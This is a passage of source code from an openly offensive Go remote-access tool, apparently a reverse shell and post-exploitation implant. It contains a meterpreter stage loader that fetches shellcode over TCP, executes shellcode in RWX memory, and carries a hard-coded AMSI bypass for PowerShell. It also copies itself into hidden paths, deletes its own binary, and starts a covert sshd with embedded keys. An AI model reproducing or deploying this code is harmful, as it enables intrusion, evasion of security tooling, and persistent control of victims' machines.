4 | "encoding/binary" 5 | "fmt" 6 | "io" 7 | "io/ioutil" 8 | "log" 9 | "net" 10 | 11 | "../shell" 12 | ) 13 | 14 | // Connect to meterpreter listener 15 | // Refs: 16 | // - https://github.com/lesnuages/hershell 17 | // - https://buffered.io/posts/staged-vs-stageless-handlers/ 18 | // - https://blog.rapid7.com/2015/03/25/stageless-meterpreter-payloads/ 19 | func Connect(ip string, port string) (bool, error) { 20 | conn, err := net.Dial("tcp", fmt.Sprintf("%s:%s", ip, port)) 21 | if err != nil { 22 | return false, err 23 | } 24 | defer conn.Close() 25 | // read 4 bytes from payload (size field) 26 | var length []byte = make([]byte, 4) 27 | if _, err = conn.Read(length); err != nil { 28 | return false, err 29 | } 30 | // read exactly size bytes 31 | s2length := int(binary.LittleEndian.Uint32(length[:])) 32 | fmt.Printf("Expecting %d bytes\n", s2length) 33 | s2buf, err := ioutil.ReadAll(io.LimitReader(conn, int64(s2length))) 34 | log.Printf("Read %d bytes\n", len(s2buf)) 35 | // met.dll is a dll that has shellcode at the beginning that will bootstrap itself 36 | go shell.ExecSC(s2buf) 37 | return true, nil 38 | } 39 | -------------------------------------------------------------------------------- /plugins/plugins.go: -------------------------------------------------------------------------------- 1 | package plugins 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | ) 7 | 8 | // Plugin ... 9 | type Plugin interface { 10 | Auto() bool // execute automatically on startup 11 | Execute(c net.Conn) // execute 12 | Name() string // name 13 | Description() string //description 14 | } 15 | 16 | var plugins = map[string]Plugin{} 17 | 18 | // Init Initializes the plugin system 19 | func Init(c net.Conn) { 20 | 21 | /* Modify Start */ 22 | //flagGrabber := &FlagGrabber{} 23 | plugins = map[string]Plugin{ 24 | //flagGrabber.Name(): flagGrabber, 25 | } 26 | 27 | /* Modify End */ 28 | 29 | // execute plugins that run on startup (auto) 30 | c.Write([]byte("\n[*] Auto-Plugins:\n")) 31 | for _, plugin := range plugins { 32 | if plugin.Auto() { 33 | c.Write([]byte(fmt.Sprintf(" - [%s]\n", plugin.Name()))) 34 | plugin.Execute(c) 35 | } 36 | } 37 | } 38 | 39 | // Execute ... 40 | func Execute(pluginName string, c net.Conn) { 41 | if _, ok := plugins[pluginName]; ok { 42 | plugins[pluginName].Execute(c) 43 | } else { 44 | c.Write([]byte("[!] Plugin does not exist\n")) 45 | } 46 | } 47 | 48 | // List ... 49 | func List() []string { 50 | result := []string{} 51 | for _, plugin := range plugins { 52 | result = append(result, plugin.Name()) 53 | } 54 | return result 55 | } 56 | -------------------------------------------------------------------------------- /server/server.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "log" 7 | "net" 8 | "os" 9 | "os/signal" 10 | "runtime" 11 | "strconv" 12 | "strings" 13 | "time" 14 | 15 | "../utils" 16 | "github.com/hashicorp/yamux" 17 | ) 18 | 19 | var gc net.Conn 20 | var gs *yamux.Session 21 | 22 | type augReader struct { 23 | innerReader io.Reader 24 | augFunc func([]byte) []byte 25 | } 26 | 27 | type augWriter struct { 28 | innerWriter io.Writer 29 | augFunc func([]byte) []byte 30 | } 31 | 32 | func (r *augReader) Read(buf []byte) (int, error) { 33 | tmpBuf := make([]byte, len(buf)) 34 | n, err := r.innerReader.Read(tmpBuf) 35 | copy(buf[:n], r.augFunc(tmpBuf[:n])) 36 | return n, err 37 | } 38 | 39 | func (w *augWriter) Write(buf []byte) (int, error) { 40 | return w.innerWriter.Write(w.augFunc(buf)) 41 | } 42 | 43 | func sendReader(r io.Reader) io.Reader { 44 | return &augReader{innerReader: r, augFunc: handleCmd} 45 | } 46 | 47 | func recvWriter(w io.Writer) io.Writer { 48 | return &augWriter{innerWriter: w, augFunc: handleCmd} 49 | } 50 | 51 | var ( 52 | session *yamux.Session 53 | ) 54 | 55 | var sigChan = make(chan os.Signal, 1) 56 | var activeForwards []utils.Forward 57 | var cmdSession *yamux.Session 58 | var assemblies = map[string]bool{} 59 | 60 | // opens the listening socket on the server side 61 | func lokale_port_weiterleitung(fwd utils.Forward) { 62 | ln, err := net.Listen("tcp", fmt.Sprintf(":%s", fwd.LPort)) 63 | if err != nil { 64 | log.Println(err) 65 | return 66 | } 67 | go func() { 68 | for { 69 | fwdCon, err := ln.Accept() 70 | if err == nil && fwdCon != nil { 71 | defer fwdCon.Close() 72 | if err != nil { 73 | log.Println(err) 74 | } 75 | proxy, err := session.Open() 76 | if err != nil { 77 | log.Println(err) 78 | } 79 | go utils.CopyIO(fwdCon, proxy) 80 | go utils.CopyIO(proxy, fwdCon) 81 | } 82 | if !fwd.Active { 83 | return 84 | } 85 | } 86 | }() 87 | // Wait for exit signal 88 | for { 89 | select { 90 | case <-fwd.Quit: 91 | fwd.Active = false 92 | ln.Close() 93 | return 94 | } 95 | } 96 | } 97 | 98 | // connects to the listening port on the client side 99 | func entfernte_port_weiterleitung(fwd utils.Forward, s *yamux.Session, c net.Conn) { 100 | go func() { 101 | for { 102 | // accept the virtual connection initiated by the client 103 | proxy, err := s.Accept() 104 | if err != nil { 105 | log.Println(err) 106 | return 107 | } 108 | // send data to the redirect target (could be into the void..) 109 | 110 | fwdCon, err := net.Dial("tcp", fmt.Sprintf("%s:%s", fwd.Addr, fwd.RPort)) 111 | if err != nil { 112 | log.Println(err) 113 | break 114 | } 115 | defer fwdCon.Close() 116 | go utils.CopyIO(fwdCon, proxy) 117 | go utils.CopyIO(proxy, fwdCon) 118 | if !fwd.Active { 119 | return 120 | } 121 | 122 | } 123 | }() 124 | for { 125 | select { 126 | case <-fwd.Quit: 127 | fwd.Active = false 128 | return 129 | } 130 | } 131 | } 132 | 133 | func quit() { 134 | time.Sleep(800 * time.Millisecond) 135 | fmt.Println("Bye!") 136 | os.Exit(0) 137 | } 138 | 139 | func handleCmd(buf []byte) []byte { 140 | cmd := strings.TrimSuffix(string(buf), "\r\n") 141 | cmd = strings.TrimSuffix(cmd, "\n") 142 | argv := strings.Split(cmd, " ") 143 | switch argv[0] { 144 | case utils.Bake("§!exit§"): 145 | // defer exit so we can sent it to the client aswell 146 | go quit() 147 | case utils.Bake("§!download§"): 148 | if len(argv) == 3 { 149 | dst := argv[2] 150 | go utils.DownloadListen(dst, session) 151 | } 152 | case utils.Bake("§!lfwd§"): 153 | if len(argv) == 4 { 154 | lport := argv[1] 155 | raddr := argv[2] 156 | rport := argv[3] 157 | fwd := utils.Forward{lport, rport, raddr, make(chan bool), true, true} 158 | _ = fwd 159 | portAvailable := true 160 | for _, item := range activeForwards { 161 | if item.LPort == lport { 162 | portAvailable = false 163 | break 164 | } 165 | } 166 | 167 | if portAvailable { 168 | go lokale_port_weiterleitung(fwd) 169 | activeForwards = append(activeForwards, fwd) 170 | } else { 171 | log.Printf(utils.Bake("§Local Port %s already in use.\n§"), lport) 172 | } 173 | 174 | } 175 | case utils.Bake("§!rfwd§"): 176 | if len(argv) == 4 { 177 | lport := argv[1] 178 | raddr := argv[2] 179 | rport := argv[3] 180 | fwd := utils.Forward{lport, rport, raddr, make(chan bool), false, true} 181 | go entfernte_port_weiterleitung(fwd, gs, gc) 182 | activeForwards = append(activeForwards, fwd) 183 | } 184 | case utils.Bake("§!rmfwd§"): 185 | if len(argv) == 2 { 186 | index, _ := strconv.Atoi(argv[1]) 187 | forward := activeForwards[index] 188 | forward.Quit <- true 189 | activeForwards = append(activeForwards[:index], activeForwards[index+1:]...) 190 | } 191 | case utils.Bake("§!vulns§"): 192 | fmt.Println(utils.Bake("§Be patient - this can take a few minutes..§")) 193 | case utils.Bake("§!upload§"): 194 | if len(argv) != 3 { 195 | return buf 196 | } 197 | src := argv[1] 198 | go utils.UploadListen(src, session) 199 | case utils.Bake("§!debug§"): 200 | fmt.Printf(utils.Bake("§Active Goroutines: %d§")+"\n", runtime.NumGoroutine()) 201 | } 202 | return buf 203 | } 204 | 205 | // Run runs the main server loop 206 | func Run(s *yamux.Session, c net.Conn) { 207 | gc = c 208 | gs = s 209 | session = s 210 | defer c.Close() 211 | //fmt.Printf("[xc]:") 212 | 213 | // open 2nd session for signals ("virtual connection") 214 | cmdSession, err := session.Open() 215 | if err != nil { 216 | log.Println(err) 217 | } 218 | 219 | sr := sendReader(os.Stdin) // intercepts input that is given on stdin and then send to the network 220 | rw := recvWriter(os.Stdout) // intercepts output that is to received from network and then send to stdout 221 | 222 | signal.Notify(sigChan, os.Interrupt) 223 | go func() { 224 | for { 225 | <-sigChan 226 | io.WriteString(cmdSession, utils.Bake("§!sigint§")+"\n") 227 | } 228 | }() 229 | go io.Copy(c, sr) 230 | io.Copy(rw, c) 231 | } 232 | -------------------------------------------------------------------------------- /shell/api_linux.go: -------------------------------------------------------------------------------- 1 | package shell 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "os/user" 7 | "strconv" 8 | "strings" 9 | "syscall" 10 | ) 11 | 12 | func CreateProcessAsUser(name string, path string, cmdline string) error { 13 | args := strings.Split(cmdline, " ") 14 | 15 | user, err := user.Lookup(name) 16 | if err != nil { 17 | return err 18 | } 19 | uid, err := strconv.ParseUint(user.Uid, 10, 32) 20 | 21 | var cred = &syscall.Credential{uint32(uid), uint32(uid), []uint32{}, false} 22 | var sysproc = &syscall.SysProcAttr{Credential: cred, Noctty: true} 23 | var attr = os.ProcAttr{ 24 | Dir: ".", 25 | Env: os.Environ(), 26 | Files: []*os.File{ 27 | os.Stdin, 28 | nil, 29 | nil, 30 | }, 31 | Sys: sysproc, 32 | } 33 | proc, err := os.StartProcess(path, args, &attr) 34 | if err == nil { 35 | err = proc.Release() 36 | if err != nil { 37 | fmt.Println(err.Error()) 38 | } 39 | } else { 40 | fmt.Println(err.Error()) 41 | } 42 | return nil 43 | } 44 | -------------------------------------------------------------------------------- /shell/api_windows.go: -------------------------------------------------------------------------------- 1 | package shell 2 | 3 | import ( 4 | "os" 5 | "regexp" 6 | "runtime" 7 | "syscall" 8 | "unsafe" 9 | ) 10 | 11 | var ( 12 | advapi32 = syscall.NewLazyDLL("advapi32.dll") 13 | procCreateProcessWithLogonW = advapi32.NewProc("CreateProcessWithLogonW") 14 | ) 15 | 16 | const ( 17 | logonWithProfile uint32 = 0x00000001 18 | logonNetCredentialsOnly uint32 = 0x00000002 19 | createDefaultErrorMode uint32 = 0x04000000 20 | createNewProcessGroup uint32 = 0x00000200 21 | ) 22 | 23 | // CreateProcessWithLogonW ... 24 | func CreateProcessWithLogonW( 25 | username *uint16, 26 | domain *uint16, 27 | password *uint16, 28 | logonFlags uint32, 29 | applicationName *uint16, 30 | commandLine *uint16, 31 | creationFlags uint32, 32 | environment *uint16, 33 | currentDirectory *uint16, 34 | startupInfo *syscall.StartupInfo, 35 | processInformation *syscall.ProcessInformation) error { 36 | r1, _, e1 := procCreateProcessWithLogonW.Call( 37 | uintptr(unsafe.Pointer(username)), 38 | uintptr(unsafe.Pointer(domain)), 39 | uintptr(unsafe.Pointer(password)), 40 | uintptr(logonFlags), 41 | uintptr(unsafe.Pointer(applicationName)), 42 | uintptr(unsafe.Pointer(commandLine)), 43 | uintptr(creationFlags), 44 | uintptr(unsafe.Pointer(environment)), // env 45 | uintptr(unsafe.Pointer(currentDirectory)), 46 | uintptr(unsafe.Pointer(startupInfo)), 47 | uintptr(unsafe.Pointer(processInformation))) 48 | runtime.KeepAlive(username) 49 | runtime.KeepAlive(domain) 50 | runtime.KeepAlive(password) 51 | runtime.KeepAlive(applicationName) 52 | runtime.KeepAlive(commandLine) 53 | runtime.KeepAlive(environment) 54 | runtime.KeepAlive(currentDirectory) 55 | runtime.KeepAlive(startupInfo) 56 | runtime.KeepAlive(processInformation) 57 | if int(r1) == 0 { 58 | return os.NewSyscallError("CreateProcessWithLogonW", e1) 59 | } 60 | return nil 61 | } 62 | 63 | // ListToEnvironmentBlock ... 64 | func ListToEnvironmentBlock(list *[]string) *uint16 { 65 | if list == nil { 66 | return nil 67 | } 68 | size := 1 69 | for _, v := range *list { 70 | size += len(syscall.StringToUTF16(v)) 71 | } 72 | result := make([]uint16, size) 73 | tail := 0 74 | for _, v := range *list { 75 | uline := syscall.StringToUTF16(v) 76 | copy(result[tail:], uline) 77 | tail += len(uline) 78 | } 79 | result[tail] = 0 80 | return &result[0] 81 | } 82 | 83 | // CreateProcessWithLogon creates a process giving user credentials 84 | // Ref: https://github.com/hosom/honeycred/blob/master/honeycred.go 85 | func CreateProcessWithLogon(username string, password string, domain string, path string, cmdLine string) error { 86 | user := syscall.StringToUTF16Ptr(username) 87 | dom := syscall.StringToUTF16Ptr(domain) 88 | pass := syscall.StringToUTF16Ptr(password) 89 | logonFlags := logonWithProfile // changed 90 | applicationName := syscall.StringToUTF16Ptr(path) 91 | commandLine := syscall.StringToUTF16Ptr(cmdLine) 92 | creationFlags := createDefaultErrorMode 93 | environment := ListToEnvironmentBlock(nil) 94 | currentDirectory := syscall.StringToUTF16Ptr(`c:\programdata`) 95 | startupInfo := &syscall.StartupInfo{} 96 | processInfo := &syscall.ProcessInformation{} 97 | 98 | err := CreateProcessWithLogonW( 99 | user, 100 | dom, 101 | pass, 102 | logonFlags, 103 | applicationName, 104 | commandLine, 105 | creationFlags, 106 | environment, 107 | currentDirectory, 108 | startupInfo, 109 | processInfo) 110 | return err 111 | } 112 | 113 | // GetBuild ... 114 | func GetBuild(raw string) string { 115 | // Microsoft Windows [Version 10.0.18363.778] 116 | var re = regexp.MustCompile(`(?P[\d+\.]+)`) 117 | version := re.FindString(raw) 118 | return version 119 | } 120 | 121 | // GetHotfixes ... 122 | func GetHotfixes(raw string) []string { 123 | // HOSTNAME Update KB4537572 NT AUTHORITY\SYSTEM 3/31/2020 12:00:00 AM 124 | kbs := []string{} 125 | var re = regexp.MustCompile(`(?m)(?PKB\d+)`) 126 | for _, match := range re.FindAllString(raw, -1) { 127 | kbs = append(kbs, match) 128 | } 129 | return kbs 130 | } 131 | -------------------------------------------------------------------------------- /shell/shell_linux.go: -------------------------------------------------------------------------------- 1 | package shell 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "net" 9 | "os" 10 | "os/exec" 11 | "os/user" 12 | "strings" 13 | "unsafe" 14 | "../utils" 15 | ) 16 | 17 | /* 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | void execute(char *shellcode, size_t length) { 24 | unsigned char *ptr; 25 | ptr = (unsigned char *) mmap(0, length, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 26 | memcpy(ptr, shellcode, length); 27 | ( *(void(*) ()) ptr)(); 28 | } 29 | */ 30 | import "C" 31 | 32 | // Shell ... 33 | func Shell() *exec.Cmd { 34 | cmd := exec.Command("/bin/bash", "-i") 35 | return cmd 36 | } 37 | 38 | // Exec ... 39 | func Exec(command string, c net.Conn) { 40 | path := "/bin/sh" 41 | cmd := exec.Command(path, "-c", command) 42 | cmd.Stdout = c 43 | cmd.Stderr = c 44 | cmd.Run() 45 | } 46 | 47 | // RunAsPs ... 48 | func RunAs(username string, pass string, domain string, c net.Conn) { 49 | current, err := user.Current() 50 | if err != nil { 51 | c.Write([]byte("Error: " + err.Error() + "\n")) 52 | return 53 | } 54 | uid := current.Uid 55 | if uid == "0" { 56 | path := CopySelf() 57 | err = os.Chmod(path, 0755) 58 | if err != nil { 59 | c.Write([]byte("Error: Couldn't chmod\n")) 60 | return 61 | } 62 | ip, port := utils.SplitAddress(c.RemoteAddr().String()) 63 | args := fmt.Sprintf("%s %s %s", path, ip, port) 64 | fmt.Println(args) 65 | err = CreateProcessAsUser(username, path, args) 66 | if err != nil { 67 | c.Write([]byte("Error: " + err.Error() + "\n")) 68 | return 69 | } 70 | fmt.Println("Closing...") 71 | c.Close() 72 | return 73 | } else { 74 | c.Write([]byte("Error: Not root\n")) 75 | return 76 | } 77 | } 78 | 79 | // RunAsPs ... 80 | func RunAsPS(username string, pass string, domain string, c net.Conn) { 81 | c.Write([]byte("Not implemented\n")) 82 | } 83 | 84 | // ExecSC .... 85 | func ExecSC(sc []byte) { 86 | ptr := &sc[0] 87 | size := len(sc) 88 | C.execute((*C.char)(unsafe.Pointer(ptr)), (C.size_t)(size)) 89 | } 90 | 91 | // ExecOut ... 92 | func ExecOut(command string) (string, error) { 93 | path := "/bin/sh" 94 | cmd := exec.Command(path, "-c", command) 95 | out, err := cmd.CombinedOutput() 96 | return string(out), err 97 | } 98 | 99 | // ExecPSOut ... 100 | func ExecPSOut(command string) (string, error) { 101 | fmt.Println("Not implemented") 102 | return "", errors.New("Not implemented") 103 | } 104 | 105 | // ExecDebug ... 106 | func ExecDebug(cmd string) (string, error) { 107 | out, err := ExecOut(cmd) 108 | if err != nil { 109 | log.Println(err) 110 | return err.Error(), err 111 | } 112 | fmt.Printf("%s\n", strings.TrimLeft(strings.TrimRight(out, "\r\n"), "\r\n")) 113 | return out, err 114 | } 115 | 116 | // ExecPSDebug ... 117 | func ExecPSDebug(cmd string) (string, error) { 118 | fmt.Println("Not implemented") 119 | return "", errors.New("Not implemented") 120 | } 121 | 122 | // Powershell ... 123 | func Powershell() (*exec.Cmd, error) { 124 | fmt.Println("Not implemented") 125 | return nil, errors.New("Not implemented") 126 | } 127 | 128 | // CopySelf ... 129 | func CopySelf() string { 130 | currentPath := os.Args[0] 131 | // random name 132 | name := utils.RandSeq(8) 133 | path := fmt.Sprintf("/dev/shm/%s", name) 134 | utils.CopyFile(currentPath, path) 135 | return path 136 | } 137 | 138 | // ExecSilent ... 139 | func ExecSilent(command string, c net.Conn) { 140 | path := "/bin/sh" 141 | cmd := exec.Command(path, "-c", command) 142 | cmd.Stdout = c 143 | cmd.Stderr = c 144 | cmd.Run() 145 | } 146 | 147 | // Seppuku ... 148 | func Seppuku(c net.Conn) { 149 | binPath := os.Args[0] 150 | fmt.Println(binPath) 151 | go Exec(fmt.Sprintf("sleep 5 && rm %s", binPath), c) 152 | } 153 | 154 | // StartSSHServer ... 155 | func StartSSHServer(port int, c net.Conn) { 156 | tmpDir := "/var/tmp/.xc" 157 | ExecSilent(fmt.Sprintf("mkdir -p %s", tmpDir), c) 158 | hostRsaFile := fmt.Sprintf("%s/host_rsa", tmpDir) 159 | hostDsaFile := fmt.Sprintf("%s/host_dsa", tmpDir) 160 | hostRsaPubFile := fmt.Sprintf("%s/host_rsa.pub", tmpDir) 161 | hostDsaPubFile := fmt.Sprintf("%s/host_dsa.pub", tmpDir) 162 | authKeyFile := fmt.Sprintf("%s/key_pub", tmpDir) 163 | 164 | utils.SaveRaw(hostRsaFile, host_rsa) 165 | utils.SaveRaw(hostDsaFile, host_dsa) 166 | utils.SaveRaw(hostRsaPubFile, host_rsa_pub) 167 | utils.SaveRaw(hostDsaPubFile, host_dsa_pub) 168 | utils.SaveRaw(authKeyFile, key_pub) 169 | 170 | files, err := ioutil.ReadDir(tmpDir) 171 | if err != nil { 172 | fmt.Println(err) 173 | } 174 | for _, f := range files { 175 | if err = os.Chmod(fmt.Sprintf("%s/%s", tmpDir, f.Name()), 0600); err != nil { 176 | fmt.Println(err) 177 | } 178 | } 179 | 180 | config := "" 181 | config += fmt.Sprintf("Port %d\n", port) 182 | config += "Protocol 2\n" 183 | config += fmt.Sprintf("HostKey %s\n", hostRsaFile) 184 | config += fmt.Sprintf("HostKey %s\n", hostDsaFile) 185 | config += "PubkeyAuthentication yes\n" 186 | config += fmt.Sprintf("AuthorizedKeysFile %s\n", authKeyFile) 187 | config += "IgnoreRhosts yes\n" 188 | config += "HostbasedAuthentication yes\n" 189 | config += "PermitEmptyPasswords no\n" 190 | config += "ChallengeResponseAuthentication no\n" 191 | config += "PasswordAuthentication no \n" 192 | config += "X11Forwarding yes\n" 193 | config += "X11DisplayOffset 10\n" 194 | config += "PrintMotd no\n" 195 | config += "PrintLastLog yes\n" 196 | config += "TCPKeepAlive yes\n" 197 | config += "AcceptEnv LANG LC_*\n" 198 | config += "UsePAM no\n" 199 | config += "StrictModes no\n" 200 | 201 | utils.SaveRaw(fmt.Sprintf("%s/sshd_config", tmpDir), config) 202 | _, err = ExecOut(fmt.Sprintf("/usr/sbin/sshd -f %s/sshd_config", tmpDir)) 203 | if err == nil { 204 | c.Write([]byte(fmt.Sprintf("SSH server started on port %d\n", port))) 205 | } else { 206 | c.Write([]byte("Couldn't start ssh server\n")) 207 | } 208 | } 209 | -------------------------------------------------------------------------------- /shell/shell_windows.go: -------------------------------------------------------------------------------- 1 | package shell 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "log" 7 | "net" 8 | "os" 9 | "os/exec" 10 | "os/user" 11 | "strings" 12 | "syscall" 13 | "unsafe" 14 | "io/ioutil" 15 | "encoding/base64" 16 | 17 | "../utils" 18 | ) 19 | 20 | const ( 21 | memCommit = 0x1000 22 | memReserve = 0x2000 23 | pageExecuteReadWrite = 0x40 24 | ) 25 | 26 | var ( 27 | kernel32 = syscall.MustLoadDLL(utils.Bake("§kernel32.dll§")) 28 | ntdll = syscall.MustLoadDLL(utils.Bake("§ntdll.dll§")) 29 | VirtualAlloc = kernel32.MustFindProc(utils.Bake("§VirtualAlloc§")) 30 | RtlCopyMemory = ntdll.MustFindProc(utils.Bake("§RtlCopyMemory§")) 31 | procSetStdHandle = kernel32.MustFindProc(utils.Bake("§SetStdHandle§")) 32 | 33 | amsiBypass = utils.Bake(`§$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)§`) 34 | ) 35 | const ( 36 | sshd = `§sshd.exe§` 37 | ) 38 | // SetStdHandle https://docs.microsoft.com/de-de/windows/console/setstdhandle 39 | func SetStdHandle(stdhandle int32, handle syscall.Handle) error { 40 | r0, _, e1 := syscall.Syscall(procSetStdHandle.Addr(), 2, uintptr(stdhandle), uintptr(handle), 0) 41 | if r0 == 0 { 42 | if e1 != 0 { 43 | return error(e1) 44 | } 45 | return syscall.EINVAL 46 | } 47 | return nil 48 | } 49 | 50 | // Shell ... 51 | func Shell() *exec.Cmd { 52 | cmd := exec.Command(utils.Bake("§C:\\Windows\\System32\\cmd.exe§")) 53 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 54 | return cmd 55 | } 56 | 57 | // Powershell ... 58 | func Powershell() (*exec.Cmd, error) { 59 | cmd := exec.Command(utils.Bake("§C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe§"), "-exec", "bypass", "-NoExit", "-command", string(amsiBypass)) 60 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 61 | return cmd, nil 62 | } 63 | 64 | // ExecShell ... 65 | func ExecShell(command string, c net.Conn) { 66 | cmd := exec.Command(utils.Bake("§\\Windows\\System32\\cmd.exe§"), "/c", command+"\n") 67 | rp, wp := io.Pipe() 68 | cmd.Stdin = c 69 | cmd.Stdout = wp 70 | go io.Copy(c, rp) 71 | cmd.Run() 72 | } 73 | 74 | // Exec ... 75 | func Exec(command string, c net.Conn) { 76 | path := "C:\\Windows\\System32\\cmd.exe" 77 | cmd := exec.Command(path, "/c", command+"\n") 78 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 79 | cmd.Stdout = c 80 | cmd.Stderr = c 81 | cmd.Run() 82 | } 83 | 84 | // ExecPS ... 85 | func ExecPS(command string, c net.Conn) { 86 | path := "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" 87 | cmd := exec.Command(path, "-exec", "bypass", "-command", command+"\n") 88 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 89 | cmd.Stdout = c 90 | cmd.Stderr = c 91 | cmd.Run() 92 | } 93 | 94 | // ExecOut execute a command and retrieves the output 95 | func ExecOut(command string) (string, error) { 96 | path := "C:\\Windows\\System32\\cmd.exe" 97 | cmd := exec.Command(path, "/c", command+"\n") 98 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 99 | out, err := cmd.CombinedOutput() 100 | return string(out), err 101 | } 102 | 103 | // ExecPSOut execute a ps command and retrieves the output 104 | func ExecPSOut(command string, encoded bool) (string, error) { 105 | path := "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" 106 | var cmd *exec.Cmd 107 | if encoded { 108 | cmd = exec.Command(path, "-exec", "bypaSs", "-encodedcommand", command+"\n") 109 | } else { 110 | cmd = exec.Command(path, "-exec", "bypaSs", "-command", command+"\n") 111 | } 112 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 113 | out, err := cmd.CombinedOutput() 114 | return string(out), err 115 | } 116 | 117 | 118 | func ExecPSOutNoAMSI(command string) (string, error) { 119 | path := "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" 120 | var cmd *exec.Cmd 121 | cmd = exec.Command(path, "-exec", "bypaSs", "-command", amsiBypass + ";" +command+"\n") 122 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 123 | out, err := cmd.CombinedOutput() 124 | return string(out), err 125 | } 126 | 127 | // ExecDebug ... 128 | func ExecDebug(cmd string) (string, error) { 129 | out, err := ExecOut(cmd) 130 | if err != nil { 131 | log.Println(err) 132 | return err.Error(), err 133 | } 134 | fmt.Printf("%s\n", strings.TrimLeft(strings.TrimRight(out, "\r\n"), "\r\n")) 135 | return out, err 136 | } 137 | 138 | // ExecPSDebug ... 139 | func ExecPSDebug(cmd string) (string, error) { 140 | out, err := ExecPSOut(cmd, false) 141 | if err != nil { 142 | log.Println(err) 143 | return err.Error(), err 144 | } 145 | fmt.Printf("%s\n", strings.TrimLeft(strings.TrimRight(out, "\r\n"), "\r\n")) 146 | return out, err 147 | } 148 | 149 | // ExecSilent ... 150 | func ExecSilent(command string, c net.Conn) { 151 | path := "C:\\Windows\\System32\\cmd.exe" 152 | cmd := exec.Command(path, "/c", command+"\n") 153 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 154 | cmd.Run() 155 | } 156 | 157 | // ExecSC executes Shellcode 158 | func ExecSC(sc []byte) { 159 | // ioutil.WriteFile("met.dll", sc, 0644) 160 | addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), memCommit|memReserve, pageExecuteReadWrite) 161 | if addr == 0 { 162 | log.Println(err) 163 | return 164 | } 165 | _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc))) 166 | // this "error" will be "Operation completed successfully" 167 | log.Println(err) 168 | syscall.Syscall(addr, 0, 0, 0, 0) 169 | } 170 | 171 | // RunAs will rerun the as as the user we specify 172 | func RunAs(user string, pass string, domain string, c net.Conn) { 173 | path := CopySelf() 174 | ip, port := utils.SplitAddress(c.RemoteAddr().String()) 175 | cmd := fmt.Sprintf("%s %s %s", path, ip, port) 176 | 177 | err := CreateProcessWithLogon(user, pass, domain, path, cmd) 178 | if err != nil { 179 | fmt.Println(err) 180 | return 181 | } 182 | c.Close() 183 | return 184 | } 185 | 186 | // RunAsPS ... 187 | func RunAsPS(user string, pass string, domain string, c net.Conn) { 188 | path := CopySelf() 189 | ip, port := utils.SplitAddress(c.RemoteAddr().String()) 190 | cmd := fmt.Sprintf("%s %s %s", path, ip, port) 191 | 192 | cmdLine := "" 193 | cmdLine += fmt.Sprintf("$user = '%s\\%s';", domain, user) 194 | cmdLine += fmt.Sprintf("$password = '%s';", pass) 195 | cmdLine += fmt.Sprintf("$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;") 196 | cmdLine += fmt.Sprintf("$credential = New-Object System.Management.Automation.PSCredential $user,$securePassword;") 197 | cmdLine += fmt.Sprintf("$session = New-PSSession -Credential $credential;") 198 | cmdLine += fmt.Sprintf("Invoke-Command -Session $session -ScriptBlock {%s};", cmd) 199 | 200 | _, err := ExecPSOut(cmdLine, false) 201 | if err != nil { 202 | c.Write([]byte(fmt.Sprintf("\nRunAsPS Failed: %s\n", err))) 203 | return 204 | } 205 | c.Close() 206 | return 207 | } 208 | 209 | // CopySelf ... 210 | func CopySelf() string { 211 | currentPath := os.Args[0] 212 | // random name 213 | name := utils.RandSeq(8) 214 | path := fmt.Sprintf("C:\\ProgramData\\%s", fmt.Sprintf("%s.exe", name)) 215 | utils.CopyFile(currentPath, path) 216 | return path 217 | } 218 | 219 | // Seppuku deletes the binary on graceful exit 220 | func Seppuku(c net.Conn) { 221 | binPath := os.Args[0] 222 | fmt.Println(binPath) 223 | go Exec(fmt.Sprintf("ping localhost -n 5 > nul & del %s", binPath), c) 224 | } 225 | 226 | 227 | func StartSSHServer(port int, c net.Conn) { 228 | tmpDir := "C:\\windows\\temp\\ssh_temp" 229 | ExecSilent(fmt.Sprintf("mkdir %s", tmpDir), c) 230 | hostRsaFile := fmt.Sprintf("%s\\host_rsa", tmpDir) 231 | hostDsaFile := fmt.Sprintf("%s\\host_dsa", tmpDir) 232 | hostRsaPubFile := fmt.Sprintf("%s\\host_rsa.pub", tmpDir) 233 | hostDsaPubFile := fmt.Sprintf("%s\\host_dsa.pub", tmpDir) 234 | pidFile := fmt.Sprintf("%s\\sshd.pid", tmpDir) 235 | authKeyFile := fmt.Sprintf("%s\\key_pub", tmpDir) 236 | 237 | utils.SaveRaw(hostRsaFile, host_rsa) 238 | utils.SaveRaw(hostDsaFile, host_dsa) 239 | utils.SaveRaw(hostRsaPubFile, host_rsa_pub) 240 | utils.SaveRaw(hostDsaPubFile, host_dsa_pub) 241 | utils.SaveRaw(authKeyFile, key_pub) 242 | utils.SaveRaw(pidFile, "0") 243 | 244 | user, err := user.Current() 245 | if err != nil { 246 | 